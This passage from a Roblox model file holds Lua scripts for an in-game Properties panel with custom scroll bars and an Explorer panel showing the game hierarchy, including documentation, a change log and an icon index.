			ScrollDown = function(self)
				self.ScrollIndex = self.ScrollIndex + self.PageIncrement
				self:Update()
			end;
			ScrollUp = function(self)
				self.ScrollIndex = self.ScrollIndex - self.PageIncrement
				self:Update()
			end;
			ScrollTo = function(self,index)
				self.ScrollIndex = index
				self:Update()
			end;
			SetScrollPercent = function(self,percent)
				self.ScrollIndex = math.floor((self.TotalSpace - self.VisibleSpace)*percent + 0.5)
				self:Update()
			end;
		};
	}
	mt.__index.CanScrollRight = mt.__index.CanScrollDown
	mt.__index.CanScrollLeft = mt.__index.CanScrollUp
	mt.__index.ScrollLeft = mt.__index.ScrollUp
	mt.__index.ScrollRight = mt.__index.ScrollDown

	function ScrollBar(horizontal)
		-- create row scroll bar
		local ScrollFrame = Create(&apos;Frame&apos;,{
			Name = &quot;ScrollFrame&quot;;
			Position = horizontal and UDim2.new(0,0,1,-ScrollBarWidth) or UDim2.new(1,-ScrollBarWidth,0,0);
			Size = horizontal and UDim2.new(1,0,0,ScrollBarWidth) or UDim2.new(0,ScrollBarWidth,1,0);
			BackgroundTransparency = 1;
			Create(&apos;ImageButton&apos;,{
				Name = &quot;ScrollDown&quot;;
				Position = horizontal and UDim2.new(1,-ScrollBarWidth,0,0) or UDim2.new(0,0,1,-ScrollBarWidth);
				Size = UDim2.new(0, ScrollBarWidth, 0, ScrollBarWidth);
				BackgroundColor3 = ScrollStyles.Button;
				BorderColor3 = ScrollStyles.Border;
				--BorderSizePixel = 0;
			});
			Create(&apos;ImageButton&apos;,{
				Name = &quot;ScrollUp&quot;;
				Size = UDim2.new(0, ScrollBarWidth, 0, ScrollBarWidth);
				BackgroundColor3 = ScrollStyles.Button;
				BorderColor3 = ScrollStyles.Border;
				--BorderSizePixel = 0;
			});
			Create(&apos;ImageButton&apos;,{
				Name = &quot;ScrollBar&quot;;
				Size = horizontal and UDim2.new(1,-ScrollBarWidth*2,1,0) or UDim2.new(1,0,1,-ScrollBarWidth*2);
				Position = horizontal and UDim2.new(0,ScrollBarWidth,0,0) or UDim2.new(0,0,0,ScrollBarWidth);
				AutoButtonColor = false;
				BackgroundColor3 = Color3.new(0.94902, 0.94902, 0.94902);
				BorderColor3 = ScrollStyles.Border;
				--BorderSizePixel = 0;
				Create(&apos;ImageButton&apos;,{
					Name = &quot;ScrollThumb&quot;;
					AutoButtonColor = false;
					Size = UDim2.new(0, ScrollBarWidth, 0, ScrollBarWidth);
					BackgroundColor3 = ScrollStyles.Button;
					BorderColor3 = ScrollStyles.Border;
					--BorderSizePixel = 0;
				});
			});
		})

		local graphicTemplate = Create(&apos;Frame&apos;,{
			Name=&quot;Graphic&quot;;
			BorderSizePixel = 0;
			BackgroundColor3 = ScrollStyles.Border;
		})
		local graphicSize = ScrollBarWidth/2

		local ScrollDownFrame = ScrollFrame.ScrollDown
			local ScrollDownGraphic = ArrowGraphic(graphicSize,horizontal and &apos;Right&apos; or &apos;Down&apos;,true,graphicTemplate)
			ScrollDownGraphic.Position = UDim2.new(0.5,-graphicSize/2,0.5,-graphicSize/2)
			ScrollDownGraphic.Parent = ScrollDownFrame
		local ScrollUpFrame = ScrollFrame.ScrollUp
			local ScrollUpGraphic = ArrowGraphic(graphicSize,horizontal and &apos;Left&apos; or &apos;Up&apos;,true,graphicTemplate)
			ScrollUpGraphic.Position = UDim2.new(0.5,-graphicSize/2,0.5,-graphicSize/2)
			ScrollUpGraphic.Parent = ScrollUpFrame
		local ScrollBarFrame = ScrollFrame.ScrollBar
		local ScrollThumbFrame = ScrollBarFrame.ScrollThumb
		do
			local size = ScrollBarWidth*3/8
			local Decal = GripGraphic(Vector2.new(size,size),horizontal and &apos;Vertical&apos; or &apos;Horizontal&apos;,2,graphicTemplate)
			Decal.Position = UDim2.new(0.5,-size/2,0.5,-size/2)
			Decal.Parent = ScrollThumbFrame
		end

		local MouseDrag = Create(&apos;ImageButton&apos;,{
			Name = &quot;MouseDrag&quot;;
			Position = UDim2.new(-0.25,0,-0.25,0);
			Size = UDim2.new(1.5,0,1.5,0);
			Transparency = 1;
			AutoButtonColor = false;
			Active = true;
			ZIndex = 10;
		})

		local Class = setmetatable({
			GUI = ScrollFrame;
			ScrollIndex = 0;
			VisibleSpace = 0;
			TotalSpace = 0;
			PageIncrement = 1;
		},mt)

		local UpdateScrollThumb
		if horizontal then
			function UpdateScrollThumb()
				ScrollThumbFrame.Size = UDim2.new(Class.VisibleSpace/Class.TotalSpace,0,0,ScrollBarWidth)
				if ScrollThumbFrame.AbsoluteSize.x &lt; ScrollBarWidth then
					ScrollThumbFrame.Size = UDim2.new(0,ScrollBarWidth,0,ScrollBarWidth)
				end
				local barSize = ScrollBarFrame.AbsoluteSize.x
				ScrollThumbFrame.Position = UDim2.new(Class:GetScrollPercent()*(barSize - ScrollThumbFrame.AbsoluteSize.x)/barSize,0,0,0)
			end
		else
			function UpdateScrollThumb()
				ScrollThumbFrame.Size = UDim2.new(0,ScrollBarWidth,Class.VisibleSpace/Class.TotalSpace,0)
				if ScrollThumbFrame.AbsoluteSize.y &lt; ScrollBarWidth then
					ScrollThumbFrame.Size = UDim2.new(0,ScrollBarWidth,0,ScrollBarWidth)
				end
				local barSize = ScrollBarFrame.AbsoluteSize.y
				ScrollThumbFrame.Position = UDim2.new(0,0,Class:GetScrollPercent()*(barSize - ScrollThumbFrame.AbsoluteSize.y)/barSize,0)
			end
		end

		local lastDown
		local lastUp
		local scrollStyle = {BackgroundColor3=ScrollStyles.Border,BackgroundTransparency=0}
		local scrollStyle_ds = {BackgroundColor3=ScrollStyles.Border,BackgroundTransparency=0.7}

		local function Update()
			local t = Class.TotalSpace
			local v = Class.VisibleSpace
			local s = Class.ScrollIndex
			if v &lt;= t then
				if s &gt; 0 then
					if s + v &gt; t then
						Class.ScrollIndex = t - v
					end
				else
					Class.ScrollIndex = 0
				end
			else
				Class.ScrollIndex = 0
			end

			if Class.UpdateCallback then
				if Class.UpdateCallback(Class) == false then
					return
				end
			end

			local down = Class:CanScrollDown()
			local up = Class:CanScrollUp()
			if down ~= lastDown then
				lastDown = down
				ScrollDownFrame.Active = down
				ScrollDownFrame.AutoButtonColor = down
				local children = ScrollDownGraphic:GetChildren()
				local style = down and scrollStyle or scrollStyle_ds
				for i = 1,#children do
					Create(children[i],style)
				end
			end
			if up ~= lastUp then
				lastUp = up
				ScrollUpFrame.Active = up
				ScrollUpFrame.AutoButtonColor = up
				local children = ScrollUpGraphic:GetChildren()
				local style = up and scrollStyle or scrollStyle_ds
				for i = 1,#children do
					Create(children[i],style)
				end
			end
			ScrollThumbFrame.Visible = down or up
			UpdateScrollThumb()
		end
		Class.Update = Update

		SetZIndexOnChanged(ScrollFrame)

		local scrollEventID = 0
		ScrollDownFrame.MouseButton1Down:connect(function()
			scrollEventID = tick()
			local current = scrollEventID
			local up_con
			up_con = MouseDrag.MouseButton1Up:connect(function()
				scrollEventID = tick()
				MouseDrag.Parent = nil
				ResetButtonColor(ScrollDownFrame)
				up_con:disconnect(); drag = nil
			end)
			MouseDrag.Parent = GetScreen(ScrollFrame)
			Class:ScrollDown()
			wait(0.2) -- delay before auto scroll
			while scrollEventID == current do
				Class:ScrollDown()
				if not Class:CanScrollDown() then break end
				wait()
			end
		end)

		ScrollDownFrame.MouseButton1Up:connect(function()
			scrollEventID = tick()
		end)

		ScrollUpFrame.MouseButton1Down:connect(function()
			scrollEventID = tick()
			local current = scrollEventID
			local up_con
			up_con = MouseDrag.MouseButton1Up:connect(function()
				scrollEventID = tick()
				MouseDrag.Parent = nil
				ResetButtonColor(ScrollUpFrame)
				up_con:disconnect(); drag = nil
			end)
			MouseDrag.Parent = GetScreen(ScrollFrame)
			Class:ScrollUp()
			wait(0.2)
			while scrollEventID == current do
				Class:ScrollUp()
				if not Class:CanScrollUp() then break end
				wait()
			end
		end)

		ScrollUpFrame.MouseButton1Up:connect(function()
			scrollEventID = tick()
		end)

		if horizontal then
			ScrollBarFrame.MouseButton1Down:connect(function(x,y)
				scrollEventID = tick()
				local current = scrollEventID
				local up_con
				up_con = MouseDrag.MouseButton1Up:connect(function()
					scrollEventID = tick()
					MouseDrag.Parent = nil
					ResetButtonColor(ScrollUpFrame)
					up_con:disconnect(); drag = nil
				end)
				MouseDrag.Parent = GetScreen(ScrollFrame)
				if x &gt; ScrollThumbFrame.AbsolutePosition.x then
					Class:ScrollTo(Class.ScrollIndex + Class.VisibleSpace)
					wait(0.2)
					while scrollEventID == current do
						if x &lt; ScrollThumbFrame.AbsolutePosition.x + ScrollThumbFrame.AbsoluteSize.x then break end
						Class:ScrollTo(Class.ScrollIndex + Class.VisibleSpace)
						wait()
					end
				else
					Class:ScrollTo(Class.ScrollIndex - Class.VisibleSpace)
					wait(0.2)
					while scrollEventID == current do
						if x &gt; ScrollThumbFrame.AbsolutePosition.x then break end
						Class:ScrollTo(Class.ScrollIndex - Class.VisibleSpace)
						wait()
					end
				end
			end)
		else
			ScrollBarFrame.MouseButton1Down:connect(function(x,y)
				scrollEventID = tick()
				local current = scrollEventID
				local up_con
				up_con = MouseDrag.MouseButton1Up:connect(function()
					scrollEventID = tick()
					MouseDrag.Parent = nil
					ResetButtonColor(ScrollUpFrame)
					up_con:disconnect(); drag = nil
				end)
				MouseDrag.Parent = GetScreen(ScrollFrame)
				if y &gt; ScrollThumbFrame.AbsolutePosition.y then
					Class:ScrollTo(Class.ScrollIndex + Class.VisibleSpace)
					wait(0.2)
					while scrollEventID == current do
						if y &lt; ScrollThumbFrame.AbsolutePosition.y + ScrollThumbFrame.AbsoluteSize.y then break end
						Class:ScrollTo(Class.ScrollIndex + Class.VisibleSpace)
						wait()
					end
				else
					Class:ScrollTo(Class.ScrollIndex - Class.VisibleSpace)
					wait(0.2)
					while scrollEventID == current do
						if y &gt; ScrollThumbFrame.AbsolutePosition.y then break end
						Class:ScrollTo(Class.ScrollIndex - Class.VisibleSpace)
						wait()
					end
				end
			end)
		end

		if horizontal then
			ScrollThumbFrame.MouseButton1Down:connect(function(x,y)
				scrollEventID = tick()
				local mouse_offset = x - ScrollThumbFrame.AbsolutePosition.x
				local drag_con
				local up_con
				drag_con = MouseDrag.MouseMoved:connect(function(x,y)
					local bar_abs_pos = ScrollBarFrame.AbsolutePosition.x
					local bar_drag = ScrollBarFrame.AbsoluteSize.x - ScrollThumbFrame.AbsoluteSize.x
					local bar_abs_one = bar_abs_pos + bar_drag
					x = x - mouse_offset
					x = x &lt; bar_abs_pos and bar_abs_pos or x &gt; bar_abs_one and bar_abs_one or x
					x = x - bar_abs_pos
					Class:SetScrollPercent(x/(bar_drag))
				end)
				up_con = MouseDrag.MouseButton1Up:connect(function()
					scrollEventID = tick()
					MouseDrag.Parent = nil
					ResetButtonColor(ScrollThumbFrame)
					drag_con:disconnect(); drag_con = nil
					up_con:disconnect(); drag = nil
				end)
				MouseDrag.Parent = GetScreen(ScrollFrame)
			end)
		else
			ScrollThumbFrame.MouseButton1Down:connect(function(x,y)
				scrollEventID = tick()
				local mouse_offset = y - ScrollThumbFrame.AbsolutePosition.y
				local drag_con
				local up_con
				drag_con = MouseDrag.MouseMoved:connect(function(x,y)
					local bar_abs_pos = ScrollBarFrame.AbsolutePosition.y
					local bar_drag = ScrollBarFrame.AbsoluteSize.y - ScrollThumbFrame.AbsoluteSize.y
					local bar_abs_one = bar_abs_pos + bar_drag
					y = y - mouse_offset
					y = y &lt; bar_abs_pos and bar_abs_pos or y &gt; bar_abs_one and bar_abs_one or y
					y = y - bar_abs_pos
					Class:SetScrollPercent(y/(bar_drag))
				end)
				up_con = MouseDrag.MouseButton1Up:connect(function()
					scrollEventID = tick()
					MouseDrag.Parent = nil
					ResetButtonColor(ScrollThumbFrame)
					drag_con:disconnect(); drag_con = nil
					up_con:disconnect(); drag = nil
				end)
				MouseDrag.Parent = GetScreen(ScrollFrame)
			end)
		end

		function Class:Destroy()
			ScrollFrame:Destroy()
			MouseDrag:Destroy()
			for k in pairs(Class) do
				Class[k] = nil
			end
			setmetatable(Class,nil)
		end

		Update()

		return Class
	end
end

----------------------------------------------------------------
----------------------------------------------------------------
----------------------------------------------------------------
----------------------------------------------------------------

local MainFrame = Instance.new(&quot;Frame&quot;)
MainFrame.Name = &quot;MainFrame&quot;
MainFrame.Size = UDim2.new(1, -1 * ScrollBarWidth, 1, 0)
MainFrame.Position = UDim2.new(0, 0, 0, 0)
MainFrame.BackgroundTransparency = 1
MainFrame.ClipsDescendants = true
MainFrame.Parent = PropertiesFrame

ContentFrame = Instance.new(&quot;Frame&quot;)
ContentFrame.Name = &quot;ContentFrame&quot;
ContentFrame.Size = UDim2.new(1, 0, 0, 0)
ContentFrame.BackgroundTransparency = 1
ContentFrame.Parent = MainFrame

scrollBar = ScrollBar(false)
scrollBar.PageIncrement = 1
Create(scrollBar.GUI,{
	Position = UDim2.new(1,-ScrollBarWidth,0,0);
	Size = UDim2.new(0,ScrollBarWidth,1,0);
	Parent = PropertiesFrame;
})

scrollBarH = ScrollBar(true)
scrollBarH.PageIncrement = ScrollBarWidth
Create(scrollBarH.GUI,{
	Position = UDim2.new(0,0,1,-ScrollBarWidth);
	Size = UDim2.new(1,-ScrollBarWidth,0,ScrollBarWidth);
	Visible = false;
	Parent = PropertiesFrame;
})

do
	local listEntries = {}
	local nameConnLookup = {}
	
	function scrollBar.UpdateCallback(self)
		scrollBar.TotalSpace = ContentFrame.AbsoluteSize.Y
		scrollBar.VisibleSpace = MainFrame.AbsoluteSize.Y
		scrollbaotalSpaceTr = ContentFrame.AbsoluteSize.Y
		ContentFrame.Position = UDim2.new(ContentFrame.Position.X.Scale,ContentFrame.Position.X.Offset,0,-1*scrollBar.ScrollIndex)
	end

	function scrollBarH.UpdateCallback(self)
		
	end

	MainFrame.Changed:connect(function(p)
		if p == &apos;AbsoluteSize&apos; then
			scrollBarH.VisibleSpace = math.ceil(MainFrame.AbsoluteSize.x)
			scrollBarH:Update()
			scrollBar.VisibleSpace = math.ceil(MainFrame.AbsoluteSize.y)
			scrollBar:Update()
		end
	end)

	local wheelAmount = Row.Height
	PropertiesFrame.MouseWheelForward:connect(function()
		if scrollBar.VisibleSpace - 1 &gt; wheelAmount then
			scrollBar:ScrollTo(scrollBar.ScrollIndex - wheelAmount)
		else
			scrollBar:ScrollTo(scrollBar.ScrollIndex - scrollBar.VisibleSpace)
		end
	end)
	PropertiesFrame.MouseWheelBackward:connect(function()
		if scrollBar.VisibleSpace - 1 &gt; wheelAmount then
			scrollBar:ScrollTo(scrollBar.ScrollIndex + wheelAmount)
		else
			scrollBar:ScrollTo(scrollBar.ScrollIndex + scrollBar.VisibleSpace)
		end
	end)
end

scrollBar.VisibleSpace = math.ceil(MainFrame.AbsoluteSize.y)
scrollBar:Update()

showProperties(GetSelection())
HidePlayerList()

bindSelectionChanged.Event:connect(function()
	showProperties(GetSelection())
end)</ProtectedString>
						</Properties>
					</Item>
					<Item class="Frame" referent="RBX60">
						<Properties>
							<bool name="Active">false</bool>
							<bool name="Archivable">true</bool>
							<Color3 name="BackgroundColor3">4293980400</Color3>
							<float name="BackgroundTransparency">0</float>
							<Color3 name="BorderColor3">4288453788</Color3>
							<int name="BorderSizePixel">1</int>
							<bool name="Draggable">false</bool>
							<string name="Name">Header</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>-18</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>1</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>17</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
						<Item class="TextLabel" referent="RBX61">
							<Properties>
								<bool name="Active">false</bool>
								<bool name="Archivable">true</bool>
								<Color3 name="BackgroundColor3">4289374636</Color3>
								<float name="BackgroundTransparency">1</float>
								<Color3 name="BorderColor3">4279970357</Color3>
								<int name="BorderSizePixel">1</int>
								<bool name="Draggable">false</bool>
								<token name="Font">0</token>
								<token name="FontSize">0</token>
								<string name="Name">TextLabel</string>
								<UDim2 name="Position">
									<XS>0</XS>
									<XO>4</XO>
									<YS>0</YS>
									<YO>0</YO>
								</UDim2>
								<UDim2 name="Size">
									<XS>1</XS>
									<XO>-4</XO>
									<YS>1</YS>
									<YO>0</YO>
								</UDim2>
								<token name="SizeConstraint">0</token>
								<string name="Text">Properties</string>
								<Color3 name="TextColor3">4278190080</Color3>
								<float name="TextTransparency">0</float>
								<bool name="TextWrap">false</bool>
								<token name="TextXAlignment">0</token>
								<token name="TextYAlignment">1</token>
								<bool name="Visible">true</bool>
								<int name="ZIndex">1</int>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Frame" referent="RBX62">
					<Properties>
						<bool name="Active">false</bool>
						<bool name="Archivable">true</bool>
						<Color3 name="BackgroundColor3">4294967295</Color3>
						<float name="BackgroundTransparency">0.100000001</float>
						<Color3 name="BorderColor3">4291217094</Color3>
						<int name="BorderSizePixel">1</int>
						<bool name="Draggable">false</bool>
						<string name="Name">ExplorerPanel</string>
						<UDim2 name="Position">
							<XS>1</XS>
							<XO>-310</XO>
							<YS>0</YS>
							<YO>0</YO>
						</UDim2>
						<UDim2 name="Size">
							<XS>0</XS>
							<XO>300</XO>
							<YS>0.5</YS>
							<YO>0</YO>
						</UDim2>
						<token name="SizeConstraint">0</token>
						<token name="Style">0</token>
						<bool name="Visible">true</bool>
						<int name="ZIndex">1</int>
					</Properties>
					<Item class="LocalScript" referent="RBX63">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">LocalScript</string>
							<ProtectedString name="Source">-- initial states
local Option = {
	-- can modify objects
	Modifiable = false;
	-- can select objects
	Selectable = true;
}

--if game.Players.LocalPlayer.Name == &quot;Merely&quot; or game.Players.LocalPlayer.Name == &quot;Player1&quot; then
	Option.Modifiable = true
--end

-- general size of GUI objects, in pixels
local GUI_SIZE = 16
-- padding between items within each entry
local ENTRY_PADDING = 1
-- padding between each entry
local ENTRY_MARGIN = 1

--[[

# Explorer Panel

A GUI panel that displays the game hierarchy.


## Selection Bindables

- `Function GetSelection ( )`

	Returns an array of objects representing the objects currently
	selected in the panel.

- `Function SetSelection ( Objects selection )`

	Sets the objects that are selected in the panel. `selection` is an array
	of objects.

- `Event SelectionChanged ( )`

	Fired after the selection changes.


## Option Bindables

- `Function GetOption ( string optionName )`

	If `optionName` is given, returns the value of that option. Otherwise,
	returns a table of options and their current values.

- `Function SetOption ( string optionName, bool value )`

	Sets `optionName` to `value`.

	Options:

	- Modifiable

		Whether objects can be modified by the panel.

		Note that modifying objects depends on being able to select them. If
		Selectable is false, then Actions will not be available. Reparenting
		is still possible, but only for the dragged object.

	- Selectable

		Whether objects can be selected.

		If Modifiable is false, then left-clicking will perform a drag
		selection.

## Updates

- 2013-09-18
	- Fixed explorer icons to match studio explorer.

- 2013-09-14
	- Added GetOption and SetOption bindables.
		- Option: Modifiable; sets whether objects can be modified by the panel.
		- Option: Selectable; sets whether objects can be selected.
	- Slight modification to left-click selection behavior.
	- Improved layout and scaling.

- 2013-09-13
	- Added drag to reparent objects.
		- Left-click to select/deselect object.
		- Left-click and drag unselected object to reparent single object.
		- Left-click and drag selected object to move reparent entire selection.
		- Right-click while dragging to cancel.

- 2013-09-11
	- Added explorer panel header with actions.
		- Added Cut action.
		- Added Copy action.
		- Added Paste action.
		- Added Delete action.
	- Added drag selection.
		- Left-click: Add to selection on drag.
		- Right-click: Add to or remove from selection on drag.
	- Ensured SelectionChanged fires only when the selection actually changes.
	- Added documentation and change log.
	- Fixed thread issue.

- 2013-09-09
	- Added basic multi-selection.
		- Left-click to set selection.
		- Right-click to add to or remove from selection.
	- Removed &quot;Selection&quot; ObjectValue.
		- Added GetSelection BindableFunction.
		- Added SetSelection BindableFunction.
		- Added SelectionChanged BindableEvent.
	- Changed font to SourceSans.

- 2013-08-31
	- Improved GUI sizing based off of `GUI_SIZE` constant.
	- Automatic font size detection.

- 2013-08-27
	- Initial explorer panel.


## Todo

- Sorting
	- by ExplorerOrder
	- by children
	- by name
- Drag objects to reparent

]]

local ENTRY_SIZE = GUI_SIZE + ENTRY_PADDING*2
local ENTRY_BOUND = ENTRY_SIZE + ENTRY_MARGIN
local HEADER_SIZE = ENTRY_SIZE



local FONT_NAME = &quot;SourceSans&quot;

local ok, f = pcall(function()
	return Enum.Font[FONT_NAME] 
end)

local FONT = ok and f or Enum.Font.Legacy


local FONT_SIZE do
	local size = {8,9,10,11,12,14,18,24,36,48}
	local s
	local n = math.huge
	for i = 1,#size do
		if size[i] &lt;= GUI_SIZE then
			FONT_SIZE = i - 1
		end
	end
end

local GuiColor = {
	Background      = Color3.new(233/255, 233/255, 233/255);
	Border          = Color3.new(149/255, 149/255, 149/255);
	Selected        = Color3.new( 96/255, 140/255, 211/255);
	BorderSelected  = Color3.new( 86/255, 125/255, 188/255);
	Text            = Color3.new(  0/255,   0/255,   0/255);
	TextDisabled    = Color3.new(128/255, 128/255, 128/255);
	TextSelected    = Color3.new(255/255, 255/255, 255/255);
	Button          = Color3.new(221/255, 221/255, 221/255);
	ButtonBorder    = Color3.new(149/255, 149/255, 149/255);
	ButtonSelected  = Color3.new(255/255,   0/255,   0/255);
	Field           = Color3.new(255/255, 255/255, 255/255);
	FieldBorder     = Color3.new(191/255, 191/255, 191/255);
	TitleBackground = Color3.new(178/255, 178/255, 178/255);
}

----------------------------------------------------------------
----------------------------------------------------------------
----------------------------------------------------------------
----------------------------------------------------------------
---- Icon map constants

local MAP_ID = 129293660

-- Indices based on implementation of Icon function.
local ACTION_CUT         = 160
local ACTION_COPY        = 161
local ACTION_PASTE       = 162
local ACTION_DELETE      = 163
local ACTION_SORT        = 164
local ACTION_CUT_OVER    = 174
local ACTION_COPY_OVER   = 175
local ACTION_PASTE_OVER  = 176
local ACTION_DELETE_OVER = 177
local ACTION_SORT_OVER   = 178

local NODE_COLLAPSED      = 165
local NODE_EXPANDED       = 166
local NODE_COLLAPSED_OVER = 179
local NODE_EXPANDED_OVER  = 180

local ExplorerIndex = {
	[&quot;Accoutrement&quot;] = 32;
	[&quot;Animation&quot;] = 60;
	[&quot;AnimationTrack&quot;] = 60;
	[&quot;ArcHandles&quot;] = 56;
	[&quot;Backpack&quot;] = 20;
	[&quot;BillboardGui&quot;] = 64;
	[&quot;BindableEvent&quot;] = 67;
	[&quot;BindableFunction&quot;] = 66;
	[&quot;BlockMesh&quot;] = 8;
	[&quot;BodyAngularVelocity&quot;] = 14;
	[&quot;BodyForce&quot;] = 14;
	[&quot;BodyGyro&quot;] = 14;
	[&quot;BodyPosition&quot;] = 14;
	[&quot;BodyThrust&quot;] = 14;
	[&quot;BodyVelocity&quot;] = 14;
	[&quot;BoolValue&quot;] = 4;
	[&quot;BrickColorValue&quot;] = 4;
	[&quot;Camera&quot;] = 5;
	[&quot;CFrameValue&quot;] = 4;
	[&quot;CharacterMesh&quot;] = 60;
	[&quot;ClickDetector&quot;] = 41;
	[&quot;Color3Value&quot;] = 4;
	[&quot;Configuration&quot;] = 58;
	[&quot;CoreGui&quot;] = 46;
	[&quot;CornerWedgePart&quot;] = 1;
	[&quot;CustomEvent&quot;] = 4;
	[&quot;CustomEventReceiver&quot;] = 4;
	[&quot;CylinderMesh&quot;] = 8;
	[&quot;Debris&quot;] = 30;
	[&quot;Decal&quot;] = 7;
	[&quot;Dialog&quot;] = 62;
	[&quot;DialogChoice&quot;] = 63;
	[&quot;DoubleConstrainedValue&quot;] = 4;
	[&quot;Explosion&quot;] = 36;
	[&quot;Fire&quot;] = 61;
	[&quot;Flag&quot;] = 38;
	[&quot;FlagStand&quot;] = 39;
	[&quot;FloorWire&quot;] = 4;
	[&quot;ForceField&quot;] = 37;
	[&quot;Frame&quot;] = 48;
	[&quot;GuiButton&quot;] = 52;
	[&quot;GuiMain&quot;] = 47;
	[&quot;Handles&quot;] = 53;
	[&quot;Hat&quot;] = 45;
	[&quot;Hint&quot;] = 33;
	[&quot;HopperBin&quot;] = 22;
	[&quot;Humanoid&quot;] = 9;
	[&quot;ImageButton&quot;] = 52;
	[&quot;ImageLabel&quot;] = 49;
	[&quot;IntConstrainedValue&quot;] = 4;
	[&quot;IntValue&quot;] = 4;
	[&quot;JointInstance&quot;] = 34;
	[&quot;Keyframe&quot;] = 60;
	[&quot;Lighting&quot;] = 13;
	[&quot;LocalScript&quot;] = 18;
	[&quot;MarketplaceService&quot;] = 46;
	[&quot;Message&quot;] = 33;
	[&quot;Model&quot;] = 2;
	[&quot;NetworkClient&quot;] = 16;
	[&quot;NetworkReplicator&quot;] = 29;
	[&quot;NetworkServer&quot;] = 15;
	[&quot;NumberValue&quot;] = 4;
	[&quot;ObjectValue&quot;] = 4;
	[&quot;Pants&quot;] = 44;
	[&quot;ParallelRampPart&quot;] = 1;
	[&quot;Part&quot;] = 1;
	[&quot;PartPairLasso&quot;] = 57;
	[&quot;Platform&quot;] = 35;
	[&quot;Player&quot;] = 12;
	[&quot;PlayerGui&quot;] = 46;
	[&quot;Players&quot;] = 21;
	[&quot;PointLight&quot;] = 13;
	[&quot;Pose&quot;] = 60;
	[&quot;PrismPart&quot;] = 1;
	[&quot;PyramidPart&quot;] = 1;
	[&quot;RayValue&quot;] = 4;
	[&quot;ReplicatedStorage&quot;] = 0;
	[&quot;RightAngleRampPart&quot;] = 1;
	[&quot;RocketPropulsion&quot;] = 14;
	[&quot;ScreenGui&quot;] = 47;
	[&quot;Script&quot;] = 6;
	[&quot;Seat&quot;] = 35;
	[&quot;SelectionBox&quot;] = 54;
	[&quot;SelectionPartLasso&quot;] = 57;
	[&quot;SelectionPointLasso&quot;] = 57;
	[&quot;ServerScriptService&quot;] = 0;
	[&quot;ServerStorage&quot;] = 0;
	[&quot;Shirt&quot;] = 43;
	[&quot;ShirtGraphic&quot;] = 40;
	[&quot;SkateboardPlatform&quot;] = 35;
	[&quot;Sky&quot;] = 28;
	[&quot;Smoke&quot;] = 59;
	[&quot;Sound&quot;] = 11;
	[&quot;SoundService&quot;] = 31;
	[&quot;Sparkles&quot;] = 42;
	[&quot;SpawnLocation&quot;] = 25;
	[&quot;SpecialMesh&quot;] = 8;
	[&quot;SpotLight&quot;] = 13;
	[&quot;StarterGear&quot;] = 20;
	[&quot;StarterGui&quot;] = 46;
	[&quot;StarterPack&quot;] = 20;
	[&quot;Status&quot;] = 2;
	[&quot;StringValue&quot;] = 4;
	[&quot;SurfaceSelection&quot;] = 55;
	[&quot;Team&quot;] = 24;
	[&quot;Teams&quot;] = 23;
	[&quot;Terrain&quot;] = 65;
	[&quot;TestService&quot;] = 68;
	[&quot;TextBox&quot;] = 51;
	[&quot;TextButton&quot;] = 51;
	[&quot;TextLabel&quot;] = 50;
	[&quot;Texture&quot;] = 10;
	[&quot;TextureTrail&quot;] = 4;
	[&quot;Tool&quot;] = 17;
	[&quot;TouchTransmitter&quot;] = 37;
	[&quot;TrussPart&quot;] = 1;
	[&quot;Vector3Value&quot;] = 4;
	[&quot;VehicleSeat&quot;] = 35;
	[&quot;WedgePart&quot;] = 1;
	[&quot;Weld&quot;] = 34;
	[&quot;Workspace&quot;] = 19;
}

----------------------------------------------------------------
----------------------------------------------------------------
----------------------------------------------------------------
----------------------------------------------------------------
----------------------------------------------------------------

function Create(ty,data)
	local obj
	if type(ty) == &apos;string&apos; then
		obj = Instance.new(ty)
	else
		obj = ty
	end
	for k, v in pairs(data) do
		if type(k) == &apos;number&apos; then
			v.Parent = obj
		else
			obj[k] = v
		end
	end
	return obj
end

-- Connects a function to an event such that it fires asynchronously
function Connect(event,func)
	return event:connect(function(...)
		local a = {...}
		Spawn(function() func(unpack(a)) end)
	end)
end

-- returns the ascendant ScreenGui of an object
function GetScreen(screen)
	if screen == nil then return nil end
	while not screen:IsA(&quot;ScreenGui&quot;) do
		screen = screen.Parent
		if screen == nil then return nil end
	end
	return screen
end

do
	local ZIndexLock = {}
	-- Sets the ZIndex of an object and its descendants. Objects are locked so
	-- that SetZIndexOnChanged doesn&apos;t spawn multiple threads that set the
	-- ZIndex of the same object.
	function SetZIndex(object,z)
		if not ZIndexLock[object] then
			ZIndexLock[object] = true
			if object:IsA&apos;GuiObject&apos; then
				object.ZIndex = z
			end
			local children = object:GetChildren()
			for i = 1,#children do
				SetZIndex(children[i],z)
			end
			ZIndexLock[object] = nil
		end
	end

	function SetZIndexOnChanged(object)
		return object.Changed:connect(function(p)
			if p == &quot;ZIndex&quot; then
				SetZIndex(object,object.ZIndex)
			end
		end)
	end
end

---- IconMap ----
-- Image size: 256px x 256px
-- Icon size: 16px x 16px
-- Padding between each icon: 2px
-- Padding around image edge: 1px
-- Total icons: 14 x 14 (196)
local Icon do
	local iconMap = &apos;http://www.roblox.com/asset/?id=&apos; .. MAP_ID
	Game:GetService(&apos;ContentProvider&apos;):Preload(iconMap)
	local iconDehash do
		-- 14 x 14, 0-based input, 0-based output
		local f=math.floor
		function iconDehash(h)
			return f(h/14%14),f(h%14)
		end
	end

	function Icon(IconFrame,index)
		local row,col = iconDehash(index)
		local mapSize = Vector2.new(256,256)
		local pad,border = 2,1
		local iconSize = 16

		local class = &apos;Frame&apos;
		if type(IconFrame) == &apos;string&apos; then
			class = IconFrame
			IconFrame = nil
		end

		if not IconFrame then
			IconFrame = Create(class,{
				Name = &quot;Icon&quot;;
				BackgroundTransparency = 1;
				ClipsDescendants = true;
				Create(&apos;ImageLabel&apos;,{
					Name = &quot;IconMap&quot;;
					Active = false;
					BackgroundTransparency = 1;
					Image = iconMap;
					Size = UDim2.new(mapSize.x/iconSize,0,mapSize.y/iconSize,0);
				});
			})
		end

